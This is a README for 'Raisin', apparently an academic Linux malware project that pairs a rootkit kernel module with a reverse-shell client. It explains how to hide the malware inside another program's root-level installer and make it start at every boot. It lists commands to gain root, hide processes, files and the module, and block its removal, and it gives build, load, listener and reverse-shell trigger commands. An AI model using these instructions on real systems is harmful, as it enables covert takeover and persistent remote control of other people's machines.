Raisin Malware Ground Truth
Raisin can be download at https://github.com/asuar078/raisin, visit page to see instructions with markdown translated.
Created by:
- Arian Suarez
- Scott Dure
- Donatto Punyed
The raisin malware is a combination rootkit and reverse shell application. The raisin malware uses the LKM created by Maxim Biro. Grape is a continuously running client application that will launch a reverse shell and can then be used to send commands to the LKM. The commands listed below, include gaining root access, hiding process, files and more.
The rootkit only works on Linux kernels up to 4.4.0-31 and has
architecture-specific code in the rootkit which is implemented only for x86/
x86-64 architectures. The raisin malware was tested on a Ubuntu 14.04 and
Ubuntu 16.04 VM. The reverse shell IP on the default build
is set to the VM IP of 10.0.2.15 to change edit line 42 of grape.c.
Infection Method
The intention is to inject raisin into another download that requires root privileges to install. The installer will be altered to create the kernel module and grape client, then add the module to the /etc/modules file, and create a startup file for grape so both automatically run program on Linux startup.
Commands
| Commands | Description |
|---|---|
| root | Grants you root shell access. Will happen automatically. |
| hpid $PID | Hides the specified PID. |
| unpid $PID | Unhides the specified PID. |
| hfile $FILENAME | Hides the specified FILENAME globally. Must be a filename without any path |
| unfile $FILENAME | Unhides the specified FILENAME. |
| hide | Hides the rootkit LKM. |
| unhide | Unhides the rootkit LKM. |
| protect | Protects the rootkit from rmmod. |
| unprotect | Disables the rmmod protection. |
| reverse $IP | Sends start command to begin reverse shell at IP address, port is 443 |
| touch | Creates a pipe in /opt. A good test to see if root access is working |
Instructions
- Run
maketo create rootkit and grape client. Will need to install build essentials if not already installedapt-get install build-essential - Load the rootkit using
sudo insmod rootkit.ko. The rootkit will hide itself so it can't be seen withlsmodtill theunhidecommand is given. - Open a listener for the reverse shell using
sudo nc -lvp 443. The default build target IP is set for default VM IP of10.0.2.15. - Start the grape client
./grape. If no internet access is available grape will shutdown. If you wish to remove this simple delete line74-75in grape.c and recompile. - The reverse shell is now active and can be used to send commands to the host machine.
- In the
/tmpdirectory a pipe is created namedgrape_fifo. Sendingecho -ncommands to this pipe will allow access to rootkit and other functions.
Examples Commands
In order to avoid errors with c strings add the '\0' to the end of the line if using two words
echo -n "touch" > grape_fifo
echo -n "unhide" > grape_fifo
echo -n "hfile ../test.txt\0" > grape_fifo
echo -n "reverse 192.168.1.1\0" > grape_fifo
Notes
- For hfile and unfile the path to the file must be from the perspective of the application where it was started.
- grape will automatically close if no internet access is available.
- Default build reverse shell IP address is set to
10.0.2.15the default VM IP for testing in a VM, port443.